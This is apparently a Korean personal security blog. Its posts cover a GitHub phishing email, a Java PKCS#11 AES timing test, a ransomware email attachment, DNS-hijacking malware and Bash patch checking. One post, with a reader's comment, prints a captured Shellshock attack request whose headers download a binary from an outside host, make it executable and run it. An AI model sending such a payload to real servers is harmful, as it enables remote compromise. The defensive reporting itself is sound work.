지돌이의 블로그 입니다!

github를 사칭한 피싱메일도 오네요..

 

실제 제가 github에서 사용하고 있는 메일 주소로 아래와 같은 메일이 왔습니다.

 

디자인이 깔끔해서 진짜같네요...ㅎㅎ

 

링크를 클릭하면 두번째 사진 페이지로 갑니다.

 

그런데 아무렇게나 입력하면 비밀번호가 틀렸다고 나오네요.. 보통 피싱사이트를 보면 무조건 맞다고 하거나 진짜 페이지로 니동시키는데 그러진 않습니다.

 

실제로 정보를 확인하는 것 일수도요..

 

암튼 이젠 계장탈취 뿐 아니라 소스까지 탐을 내나 봅니다.. 깃허브 피싱이라니.. 다들 조심하시길 바랍니다.

 

Comment +0

Test Code:

import sun.security.pkcs11.SunPKCS11;
import sun.security.pkcs11.wrapper.PKCS11;
import sun.security.pkcs11.wrapper.PKCS11Exception;

import javax.crypto.Cipher;
import javax.crypto.KeyGenerator;
import javax.crypto.SecretKey;
import javax.security.auth.login.FailedLoginException;
import java.io.IOException;
import java.security.Key;
import java.security.KeyStore;
import java.security.UnrecoverableKeyException;

public class TestMain {
    public static void main(String[] args) throws Exception {
        TestMain app = new TestMain();
        app.run();
    }

    private boolean checkFailedLoginException(Throwable e){
        if(e instanceof FailedLoginException) {
            return true;
        }
        if(e.getCause() != null) {
            return checkFailedLoginException(e.getCause());
        }
        return false;
    }

    String dumpbin(byte[] input) {
        StringBuilder sb = new StringBuilder();
        for(byte a : input) {
            sb.append(String.format("%02x ", a & 0xff));
        }
        return sb.toString();
    }

    void run() throws Exception {
        SunPKCS11 p11Provider = new SunPKCS11("G:\\java-etoken-0.cfg");
        KeyStore keyStore = KeyStore.getInstance("PKCS11", p11Provider);
        try {
            keyStore.load(null, "P@ssw0rd".toCharArray());
        }catch (IOException loadException){
            if(checkFailedLoginException(loadException)) {
                System.err.println("LOGIN FAILED");
                return ;
            }else{
                throw loadException;
            }
        }

        Key key = keyStore.getKey("test-aes-1", null);
        System.out.println("key => " + key.getAlgorithm() + " / " + key.getFormat() + " / " + key);

        for(int i=0; i<4; i++) {
            long begin = System.nanoTime();
            Cipher cipher = Cipher.getInstance("AES/CBC/NoPadding", p11Provider);
            cipher.init(Cipher.ENCRYPT_MODE, key);
            System.out.println("IV => " + dumpbin(cipher.getIV()));
            byte[] out = cipher.doFinal("0123456789abcdef0123456789abcdef".getBytes());
            System.out.println("IV => " + dumpbin(cipher.getIV()));
            long end = System.nanoTime();
            long diff = end - begin;
            System.out.println("DIFF = " + (((double) diff) / 1000000));
            System.out.println("dumpbin => " + out.length + " / " + dumpbin(out));
        }
    }
}

결과

key => AES / null / SunPKCS11-eToken AES secret key, 0 bits (id 236257286, token object, not sensitive, unextractable)
IV => 5f 89 21 65 63 56 05 2f 30 74 16 bd ed c3 53 48 
IV => 5f 89 21 65 63 56 05 2f 30 74 16 bd ed c3 53 48 
DIFF = 4196.6191
dumpbin => 32 / db e4 66 14 9f ff e8 23 8e 82 f4 0b f7 21 8a 70 f3 ef 6d a0 90 14 48 2d 7f 8b 91 9c a7 21 3f 95 
IV => 0e a3 14 ff 4c 80 94 5f 7a f0 dd b4 37 cf bc b5 
IV => 0e a3 14 ff 4c 80 94 5f 7a f0 dd b4 37 cf bc b5 
DIFF = 3.1933
dumpbin => 32 / c4 23 3c 93 8d f7 b4 8a 66 fb 8c 82 b5 27 b3 54 b4 df 8f 32 39 dc 5e 3a 93 db a4 55 5e 39 d4 f1 
IV => 40 49 64 32 f9 bd d4 43 65 eb 44 bc 9f 5d b9 c2 
IV => 40 49 64 32 f9 bd d4 43 65 eb 44 bc 9f 5d b9 c2 
DIFF = 2.836
dumpbin => 32 / ac 9c e5 68 da a4 f7 bd 4f d4 40 40 d0 c7 c0 20 90 b6 49 fb 9b 87 ac 80 3a 28 b6 75 38 8e 71 5f 
IV => c9 65 8c f3 06 80 80 5d 86 ff 85 55 44 9c 68 d6 
IV => c9 65 8c f3 06 80 80 5d 86 ff 85 55 44 9c 68 d6 
DIFF = 2.9097
dumpbin => 32 / 60 0d 1f b3 b7 db 85 1e e2 f9 99 3d 0d b2 5b 74 a5 dc 51 ba 6f fd a8 2b 9f 7f 77 75 62 7a 26 cd 

첫번째는 초기화(?) 때문에 4초란 오랜 시간이 걸리고..

동일한 Session에서는 이후 4ms 이하의 시간이 걸리는 듯 한다.

참고로 AES 256bit의 Key이다.

전에 SafeNet 5110으로 Key pair generate 테스트 할 때 시간이 오래 걸렸었는데 초기화 시간이 포함된 시간이었다.

Comment +0

얼마전부터 제 메일로 이상한 메일이 오고 있습니다.

메일 송신자는 제 메일이고

제목은 Scan4 / hi prnt 등의 제목이었습니다.

그리고 이상한 zip파일이 첨부되어 있었습니다.


그 중 하나의 첨부파일 이름은

SCAN004862814.zip

압축을풀면 SCAN004862814.js 파일이 생성됩니다.

해당 자바스크립트 파일을 실행하면 악성코드가 다운받아져서 실행됩니다.


// 원본파일이름 : SCAN004862814.js

// 원본파일md5  : 6576cd7c4ba8cb77ce3b23899139c27f

// 진단명(Ahnlab) : JS/Obfus.S29


소스가 난독화 되어 있어 복잡하지만 분석하면 간단해집니다.



해당 URL으로는 지금 접속되진 않네요.


해당 악성코드는 랜섬웨어라고 합니다.


Comment +0


악성코드에 감염되어 DNS조작으로 네이버 주소로 접속하면 가짜 네이버 사이트가 나오는 PC을 보았습니다.


컴퓨터 자체에 악성코드가 설치되어 있었고

네트워크의 DNS서버 주소가

Primary : 127.0.0.1

Second : 8.8.8.8

으로 변경되어 있었습니다.

악성코드 자체가 DNS서버 역할을 하는거죠...


이 악성코드에 감염되면 네이버 사이트를 접속시

23.231.144.66

이 IP로 접속하게 됩니다.

미국 소속의 IP으로 나오네요.



간단하게 ping을 때려서 이런 IP가 나오면 악성코드에 감염되신 겁니다.


감염되었을시 인터넷 익스플로어로 접속하면 이런게 나옵니다.

(크롬은 안나오네요. User-Agent검사를 하나 봅니다)


Comment +0

2014.11.08. 19:24



얼마전에 언제나 제작중인;; 홈페이지 서버 네트워크에 IDS/IPS을 구축했는데

하루에 한번 이상으로 Bash취약점 공격(CVE-2014-6271)이 들어오고 있네요...

아마 무작위 공격 같습니다.

뭐 이 외에도 SIP스캔, SSH 취약점, MySQL/MSSQL서버 취약점 공격이 들어오곤 있습니다.

뭐 그냥 얼마전에 이슈가 되었던 Bash취약점을 이용한 공격이라서 씁니다.

 

공격SourceIP는 미국이고

Dest는 80포트 입니다.

페이로드

 

0000000: 47 45 54 20 2f 63 67 69 2d 6d 6f 64 2f   69 6e 64 65 78 2e 63 67 69 20 48 54 54  GET./cgi-mod/index.cgi.HTT
000001A: 50 2f 31 2e 30 0a 43 6f 6e 6e 65 63 74   69 6f 6e 3a 20 63 6c 6f 73 65 0a 55 73  P/1.0.Connection:.close.Us
0000034: 65 72 2d 41 67 65 6e 74 3a 20 28 29 20   7b 20 3a 3b 20 7d 3b 20 2f 75 73 72 2f  er-Agent:.().{.:;.};./usr/
000004E: 62 69 6e 2f 77 67 65 74 20 2d 4f 20 2f   74 6d 70 2f 62 20 68 74 74 70 3a 2f 2f  bin/wget.-O./tmp/b.http://
0000068: 31 30 34 2e 31 39 32 2e 31 30 33 2e 36   2f 66 6f 6f 6e 2f 71 2f 62 3b 20 2f 62  104.192.103.6/foon/q/b;./b
0000082: 69 6e 2f 63 68 6d 6f 64 20 37 37 37 20   2f 74 6d 70 2f 62 3b 20 2f 74 6d 70 2f  in/chmod.777./tmp/b;./tmp/
000009C: 62 3b 0a 43 6f 6f 6b 69 65 3a 20 28 29   20 7b 20 3a 3b 20 7d 3b 20 2f 75 73 72  b;.Cookie:.().{.:;.};./usr
00000B6: 2f 62 69 6e 2f 77 67 65 74 20 2d 4f 20   2f 74 6d 70 2f 62 20 68 74 74 70 3a 2f  /bin/wget.-O./tmp/b.http:/
00000D0: 2f 31 30 34 2e 31 39 32 2e 31 30 33 2e   36 2f 66 6f 6f 6e 2f 71 2f 62 3b 20 2f  /104.192.103.6/foon/q/b;./
00000EA: 62 69 6e 2f 63 68 6d 6f 64 20 37 37 37   20 2f 74 6d 70 2f 62 3b 20 2f 74 6d 70  bin/chmod.777./tmp/b;./tmp
0000104: 2f 62 3b 0a 0a                                                                   /b;..

 

참고로 국내에서 저 IP로 접속이 되지 않습니다. ISP? 정부? 에서 막아 논것 같네요~

심심해서 해외VPN을 이용해 접속해 보니 저 IP로 접속은 되는데 저 파일 URL으로는 접속이 되지 않습니다.

404오류가 나네요. 한번 분석해 보고 싶었는데(물론 깊게 할 능력이 안되지만...ㅋ) 아쉽습니다.

Comment +1

  • CODE 2015.12.22 13:17

    코드를 개떡같이 올려놓셨네요
    #GET /cgi-mod/index.cgi HTTP/1.0
    Connection: close
    User-Agent: () { :; }; /usr/bin/wget -O /tmp/b http://104.192.103.6/foon/q/b; /bin/chmod 777 /tmp/b; /tmp/b;
    Cookie: () { :; }; /usr/bin/wget -O /tmp/b http://104.192.103.6/foon/q/b; /bin/chmod 777 /tmp/b; /tmp/b;

    이렇게 하셔야죠

2014.09.27. 00:08



http://www.zdnet.co.kr/news/news_view.asp?artice_id=20140925112954

기사 참고하시길 바랍니다.

 

취약점 패치 여부 확인 방법입니다.

https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/ 

 

Shell에

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

 vulnerable 

이렇게 입력하고 결과물이

 

vulnerable

 this is a test 

이렇나오면 취약점이 있는, 패치되지 않은 버전이구요,

 

 bash: warning: x: ignoring function definition attempt
 bash: error importing function definition for `x' 

 this is a test 

이렇게 나오면 취약점 패치가 된것이라고 합니다.

 

지금 제 리눅스머신,서버들 체크중인데 다 취약점이 존재하네요...

어서 패치하고 있습니다...

CentOS도 패치버전이 나와있고,

RedSleeve또한 패치된 버전이 나왔습니다.

yum update bash 으로 패치 가능합니다.

Comment +0